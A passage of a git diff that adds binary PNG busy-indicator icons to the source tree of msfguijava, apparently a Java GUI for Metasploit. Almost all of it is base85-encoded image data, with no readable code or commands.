z008P>0026e000+nl3&F}0009VNkl31@!FYjqgYgIAg$g8UG|_A(g2BLo!8$qu z7RuI^Zf!m7`SG4}-q#y6yCM4|Px4%Rzn{BDky2tU#bW8ek3Y@5e);m%v2vxF^trE2 zOgwpIdg|~OsbtsBu~_uR+I#iC!a48w{Os4KX6JrA| z5ClEVChy4S7u!RFJ7?6=z2$?8H*XzejA>95F*cf8K01B)O8{3M1OWB`*i%@%{p@nN zk`98fYq?x`zNe@ATl)0Gb2IfubAVEcOmC0%^0BGo06qjz0AM{x0l;i3l~}1%YX@4b zHuHTy#<|Z(ZDn2D*K}zZOk}gY zA7LHR>C|b*afstMw9&A-Ri-lR z*K|#4nkGHR8_54vIR3EbGiSd!y|7T&ZQC~WJeQ0N@BU7aQf|IFfBnL0z0pM|fv#yK zGiqK-bjAy|ZI`5!%Iw_5SN_Z|4B3v8jGCru7>3xJ8>zf>^vF{xfTiJ~$3K|AmVe82 z-H58Ho5CRM%r6x7zWvU7<0_?sF&0M5h%n8FR1`(@Wizd*7bo8ZutWfWQhH`&c;M6Y zBdHZa2q-0yVzJZ*08pR^DQFM`GzbD^d~9F&%{N{B9fc=Wc_YERc{ zt6MCq)oB<^P(o$*#tq*1Xs$Xr`OF_%v%Q}HI1eBIfPV)7NEc#k3pCFL00000NkvXX Hu0mjf*HOc* literal 0 HcmV?d00001 diff --git a/external/source/gui/msfguijava/src/msfgui/resources/busyicons/busy-icon10.png b/external/source/gui/msfguijava/src/msfgui/resources/busyicons/busy-icon10.png new file mode 100644 index 0000000000000000000000000000000000000000..c4ef4a1fc6a59aec6b053ed05c17ad3a2d24ec9b GIT binary patch literal 3568 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 DwfwCf literal 0 HcmV?d00001 diff --git a/external/source/gui/msfguijava/src/msfgui/resources/busyicons/busy-icon12.png b/external/source/gui/msfguijava/src/msfgui/resources/busyicons/busy-icon12.png new file mode 100644 index 0000000000000000000000000000000000000000..e447ee8ac29a421f2cc2c6786ace0e13559d280a GIT binary patch literal 3589 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 LNkvXXu0mjf9hSZ+ literal 0 HcmV?d00001 diff --git a/external/source/gui/msfguijava/src/msfgui/resources/busyicons/busy-icon13.png b/external/source/gui/msfguijava/src/msfgui/resources/busyicons/busy-icon13.png new file mode 100644 index 0000000000000000000000000000000000000000..848a6f1a41bac5459b3768c20e3eb044749c158e GIT binary patch literal 3586 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 IM6N<$g3?{b8UO$Q literal 0 HcmV?d00001 diff --git a/external/source/gui/msfguijava/src/msfgui/resources/busyicons/busy-icon14.png b/external/source/gui/msfguijava/src/msfgui/resources/busyicons/busy-icon14.png new file mode 100644 index 0000000000000000000000000000000000000000..7b3561df212ff3f799e2e5c6f99db7746ffa783c GIT binary patch literal 3586 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 